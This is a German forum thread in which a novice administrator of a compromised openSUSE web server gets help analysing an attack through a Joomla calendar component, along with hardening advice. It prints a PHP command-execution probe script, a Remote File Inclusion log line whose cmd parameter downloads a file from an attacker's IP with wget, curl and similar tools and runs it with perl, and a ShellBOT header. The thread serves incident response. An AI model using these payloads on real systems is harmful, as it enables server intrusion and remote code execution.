Webserver gehackt - benötige Hilfe

[dslthomas]

Ja das hilft mir jetzt aber alles nichts. Ich brauch den KDE weil ich damit einfach besser zurecht komme.

[dslthomas]

Yast habe ich mit dem ssh-Zugang aber ich komme nun mal so auf die schnelle mit der Konsole nicht zurecht. Ich habe auch keinen der sich diese blöde Kiste aml anscheune kann. Wenn der KDE drauf ist kann ich mich via Remotedesktop (freeNX) auf dem Server bewegen und komme wenigstens besser klar.

[floogy]

Ansonsten musst Du die Konsequenzen tragen und einfah eine passende Liga suchen.

Naja, darum geht es ja primär nicht, sondern um den möglichen Schaden, die der so genannte "Zombie"-Rechner den er womöglich laufen lässt, im Netz hinterlässt, und was damit so alles angerichtet wird. Eventuell wird das irgendwann auch andere Leute interessieren, die ihn dann zur Verantwortung ziehen...

Logfiles und Daten sichern, Rootserver abschalten, Webseiten auf Webspace transferieren (was natürlich noch nicht unbedingt automatisch deren Sicherheitslöcher stopft, aber den möglichen Schaden begrenzt), und in einer virtualbox auf dem Homerechner üben, und sich Zeit nehmen zu lernen halte ich für eine gute Alternative.

Zum xserver auf einem am WAN gestöpselten server:
http://www.unixboard.de/vb3/showthread.php?t=22847#4
Falls es doch sein muß (nein, muss es nicht, glaube uns), wirst Du mit der sicheren xserver Verbindung wohl auch so Deine Probleme bekommen (Beispiel mal wieder Debian, sorry):
http://www.debian.net/doc/manuals/secur ... .html#s5.4
Also vergiss es lieber.

[dslthomas]

Kann jemand zu folgendem Logeintrag etwas sagen?

Code: Select all

89.xxx.xx.xxx - - [15/Nov/2007:10:36:08 +0100] "GET //components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://dj.caucasus.net/id.txt? HTTP/1.1" 200 - "-" "libwww-perl/5.79"

der entsprechende Code der Website sieht folgendermaßen aus:

Code: Select all

<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

[static]

Da hat jemand über RFI (Remote File Inclusion) versucht ein Script über das Joomla Calender-Modul auszuführen, welches ihm den Benutzer der Webseiteninstanz ausgibt.

Deim Topic nach zu Urteilen, hat das dann auch geklappt und ist nicht beim "ID" auslesen geblieben.

static

[dslthomas]

Kann das dann also die Ursache gewesen sein!? Was heißt ID auslesen?

[static]

Mit dem Script alleine ist noch nichts passiert. Wenn das funktioniert (kannst das Script ja mal kopieren und versuchen, selbst auszuführen) hat, weiss er jetzt unter welchem Benutzer dein Webserver läuft und kann über andere Commands alles auf deinem Server machen was dieser Benutzer eben darf.

static

BTW: Mit allow_url_fopen=off in der php.ini wäre das ziemlich sicher nicht passiert.

[floogy]

Kann jemand zu folgendem Logeintrag etwas sagen?

Code: Select all

89.xxx.xx.xxx - - [15/Nov/2007:10:36:08 +0100] "GET //components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://dj.caucasus.net/id.txt? HTTP/1.1" 200 - "-" "libwww-perl/5.79"

der entsprechende Code der Website sieht folgendermaßen aus:

Code: Select all

<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Ich kann nicht wirklich php, aber es kommen dort funktionen vor, die als nicht sicher gelten (zumindest werden diese funktionen abgefragt):
exec, shell_exec, popen etc. Du solltest diese funktionen in der php.ini verbieten! Dann wirst Du auch sehen, welche webanwendungen nicht mehr funktionieren. Fallt dj.caucasus.net nicht Deine domain ist, so wird aus dieser domain code includiert, wer weiß was für code(?!) .

EDIT: Ooops! Hatte Besuch bekommen, daher dieses x-posting: Zu spät, andere waren schneller.

[dslthomas]

Also, ich habe das betreffende Modul sowie die dazugehörigen Datenbankeinträge gelöscht. Die Zugangsdaten werden geändert und der entsprechende Eintrag in der php.ini (allow_url_fopen=off) wurde von On auf Off geschaltet.

das script habe ich mal ausprobiert - es hat folgendes Ergebnis ausgespuckt:

Code: Select all

Mic22uid=30(wwwrun) gid=8(www) groups=8(www)

Kennt jemand eine deutsche Anleitung für snort? Snort läuft zwar schon auf dem Server, aber ich bin der Meinung da gab es noch "etwas" mit den Regeln zu beachten und ich bin der Meinung es gab ein Tool zur grafischen Auswertung der Logdaten.

Ich denke für mich ist es auch erst einmal wichtig zu wissen was welche Einträge in der php.ini im einzelnen bedeuten und welche Auswirkungen sie haben.

[floogy]

static hat das hier bereits erklärt: http://www.rootforum.org/forum/viewtopi ... 136#296136

Ich denke, trotz snort, und (allow_url_fopen=off) sollte Mathias, in Anbetracht deines momentanen Wissenstandes recht behalten:

Spätestens jetzt ist meines Erachtens der Punkt gekommen, den Server herunter zu fahren und neu zu reinitialisieren.
Die Logfiles vorher sichern und natürlich auswerten.
Die Konsequenz die der Threadersteller hier tragen müsste, wäre ein init 0 und eine downtime bis zum erhalt eines Webspaces.
Im aktuellen zustand, wenn sich Systembefehle derart leicht einschleussen lassen, kann man nicht mehr sicher sein, dass sich der Angreifen nicht doch eine Hintertüre eingebaut hat.
Alles andere an Hilfestellung ist fehl am Platz und zogert die Problembeseitigung nur unnötig hinaus.
Wie man einen Server sicher einrichtet findet sich sowohl im Forum und im Wiki zuhauf.
Viele Grüsse.
PS. trotzdem falsche Liga

Also: Mach Deine Sicherungen, und schalte so schnell wie möglich den Rechner ab, Du weißt nicht, ob z.B. rootkits oder backdoors installiert wurden. rkhunter und snort bringen bei der Installation auf einem bereits komprommittiertem system u.U. auch nicht mehr die Ergebnisse, für die sie konzipiert sind.(?)

[static]

Weisst du denn wie die Umleitung eigentlich zu Stande gekommen ist?
Mir will gerade keine Szenario einfallen, wie man das hinbekommen könnte, dass es nach einem Reboot wieder zurückgesetzt wird.

Wenn du schon nicht neu installieren willst, würde ich zumindest alle Daten auf die wwwrun und www Zugriff haben mit einem früheren Backup (falls vorhanden 8) ) vergleichen, ob da nicht doch noch das eine oder andere hinterlegt wurde.

static

[dslthomas]

Das wird auf jeden fall neu installiert! aber so lange ich direkt vorm Rechner sitze möchte ich Zeit nutzen um Snort & Co auszuprobieren. Gesichert ist schon alles und wenn der Rechner dann "in die Grütze" geht weil ich ihn kaputtkonfiguriert habe dann macht das nicht. Ich möchte nur alles gleich nach der Neuinstallation ändern was hier alles nicht gestimmt hat und die Software nachinstallieren die hier gefehlt hat.

[dslthomas]

Weisst du denn wie die Umleitung eigentlich zu Stande gekommen ist?
Mir will gerade keine Szenario einfallen, wie man das hinbekommen könnte, dass es nach einem Reboot wieder zurückgesetzt wird.

Wenn du schon nicht neu installieren willst, würde ich zumindest alle Daten auf die wwwrun und www Zugriff haben mit einem früheren Backup (falls vorhanden 8) ) vergleichen, ob da nicht doch noch das eine oder andere hinterlegt wurde.

static

Na endlich habe ich mal was richtig gemacht :-) Backups habe ich natürlich - Ok, natürlich ist das bei einem solchem "möchtegern"-Serverbetreiber wie mir nicht, aber Backups ist ein "Fetisch" von mir :-)

Ich bin eher ein Spezialist für die Elektronische Archivierung von daher sind zumindest Backups selbstverständlich für mich.

[Joe User]

Die id.txt ist nur ein Teil des Exploits, die anderen Teile wurden vorher und nachher includiert. Darunter wird mit Sicherheit eine PHP-Shell gewesen sein, mit der sich der Angreifer komfortabel auf dem System austoben kann und zusammen mit lokalen Root-Exploits root-Rechte verschaffen kann. Dem System ist somit nicht mehr zu vertrauen und eine Reinitialisierung Pflicht. Erste Massnahmen nach dem Reinit sind das Updaten des kompletten Systems und der Webanwendungen, das Absichern von PHP (siehe mein Sticky) und das Entfernen jeglicher Joomla-Erweiterungen. Die Kunden/Kumpel werden angewiesen innerhalb einer Woche ihre Webanwendungen zu aktualisieren und vorhandene Sicherheitslücken zu fixen, oder sie fliegen gnadenlos von Server. Bei Geld und Sicherheit hört die Freundschaft auf!

[dslthomas]

und das nächste: http://201.37.71.117:8090/tool25.txt

Hier die Zeile aus dem Log:

Code: Select all

201.37.71.117 - - [16/Nov/2007:22:01:59 +0100] "GET //components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=http://201.37.71.117:8090/tool25.txt?&cmd=cd%20/tmp;rm%20x.txt;wget%20http://201.37.71.117:8090/x.txt;fetch%20http://201.37.71.117:8090/x.txt;lwp-download%20http://201.37.71.1175:8090/x.txt;curl%20-O%20http://201.37.71.117:8090/x.txt;lynx%20http://201.37.71.117:8090/x.txt;perl%20x.txt HTTP/1.1" 200 - "-" "Mozilla/3.0 (compatible; Indy Library)"

[floogy]

perl ist auch schon dabei... => Abschalten. Schau Dir die logs aus dem backup an!

Code: Select all

#!/usr/bin/perl
#  ShellBOT
#  0ldW0lf - oldwolf@atrix-team.org
#      - www.atrix-team.org
# Stealth ShellBot Versão 0.2 by Thiago X

Code: Select all

ps axu |grep perl

zeigt Dir eventuell an, was da ausgeführt wird (?).
Aber: Abschalten nicht vergessen!

Übrigens:
http://forum.joomla.org/index.php/topic ... #msg402249
http://forum.joomla.org/index.php/topic ... #msg569696

[Joe User]

und das nächste: http://201.37.71.117:8090/tool25.txt

Interessant finde ich den Google-Analytics-Code, was bedeutet, dass Google die Daten der gecrackten Systeme hat und dem FBI zur Verfügung stellen kann...

[dslthomas]

Also dann geb ich doch mal nen Zwischenbericht ab.

Der Server wurde neu installier mit Suse 10.2 und Confixx

Nachdem die Accounts alle wieder rückgesichert waren habe ich folgende Dinge gemacht:

1.) ALLE verfügbaren Updates gemacht
2.) Negios installiert
3.) Firewall so konfiguriert dass nur POP3, FTP, http, https und SSH frei sind
4.) Fail2ban installiert
5.) in der php.ini die Option allow_url_fopen auf OFF gestellt
6.) snort installiert (aber noch nicht richtig konfiguriert - mir fehlt noch die passende deutsche Anleitung für OpenSuse :-)
7.) md5sum aller auf dem Server befindlicher Dateien erstellt und zu Hause gesichert
8.) Passwörter geändert

An dieser Stelle erbiite ich weitere Vorschläge :-)

Kennt vielleicht jemand ne Anleitung für snort in deutsch?

Danke!

[dslthomas]

Also dann geb ich doch mal nen Zwischenbericht ab.

Der Server wurde neu installier mit Suse 10.2 und Confixx

Nachdem die Accounts alle wieder rückgesichert waren habe ich folgende Dinge gemacht:

3.) Firewall so konfiguriert dass nur POP3, FTP, http, https und SSH frei sind
4.) Fail2ban installiert

Danke!

Schmeiss das Zeug wieder runter.
Macht mehr Probleme, als dass es nutzt.

Kannst Du das etwas genauer erklären? Vom ersten Eindruck her ist das gar nicht mal so schlecht - und simpel

[Roger Wilco]

http://www.rootforum.org/forum/viewtopic.php?t=46097
http://www.ossec.net/en/attacking-loganalysis.html

[dslthomas]

http://www.rootforum.org/forum/viewtopic.php?t=46097
http://www.ossec.net/en/attacking-loganalysis.html

Also im ersten Beitrag ist sicherlich was dran wenn es um den Zugriff via FTP oder veraltete Scripte geht. Trotz dem denke ich dass es einen gewissen Schutz mit sich bringt. Den zweiten Link - nun, mit russisch könnte ich ja noch was anfangen, aber englisch - so gut sit das bei mir nicht gerade um zu verstehen was da steht :-)

Ich denke ich bin auf jeden fall auf dem richtigem Weg denn wenn ich mir die Möglichkeiten anschaue die mir allein Nagios bietet und die Auswertung von cacti ist auch nicht schlecht. Ich denke wenn erst mal snort läuft und rkhunter wieder drauf ist und diesmal auch richtig konfiguriert wurde :-) dann mache ich mich an die einzelnen Useraccounts und schaue was die da für Module, Scripte etc. installiert haben.

Die verantwortliche Komponente habe ich auf jeden Fall erst mal gelöscht.

Ich klopf mir zumindest vorläufig auf die Schulter :-)

[dslthomas]

Ich habe eben mal rekhunter durchlaufen lassen und dabei sind eine Menge Warnungen aufgekommen. Kann mir jemand nen Rat geben was zu tun ist?

http://scggay.homeip.net/rkhunter.log

Danke

[Joe User]

Bis auf zwei Warnungen ist Alles OK:
root-login per SSH sollte verboten werden
SSH Protokoll Version 1 muss deaktiviert werden

[dslthomas]

Bis auf zwei Warnungen ist Alles OK:
root-login per SSH sollte verboten werden
SSH Protokoll Version 1 muss deaktiviert werden

Danke für Eure Statements. Ich habe da aber noch ein paar Fragen - der root-login per SSH sollverboten werden - ganz blöde Frage - wie arbeite ich dann auf dem Server? User anlegen? Der müte dann doch aber die gleichen Rechte wie root haben!?

SSH Protokoll Version 1 wie stelle ich das Safety an ohne mich selbst auszusperren?

[daemotron]

SSH sollte mit Protokoll-Version 2 betrieben werden - für PuTTY und OpenSSH kein Problem. In die /etc/ssh/sshd_config willst Du folgende Zeile einfügen (oder das Kommentarzeichen davor entfernen):

Code: Select all

Protocol 2

Den Remote-Login für root zu verbieten ist standard. Lege Dir einen Arbeitsbenutzer an mit normalen User-Rechten (Mitglied der Gruppen user und wheel) und trage folgendes in die /etc/ssh/sshd_config ein:

Code: Select all

PermitRootLogin no
AllowGroups wheel

Damit beschränkst Du den Zugriff auf User, die Mitglied der Gruppe wheel sind, und lässt root außen vor. Wenn Du Arbeiten durchführen musst, die root-Rechte verlangen, wechselst Du eben per `su -` zu root, oder Du verwendest sudo.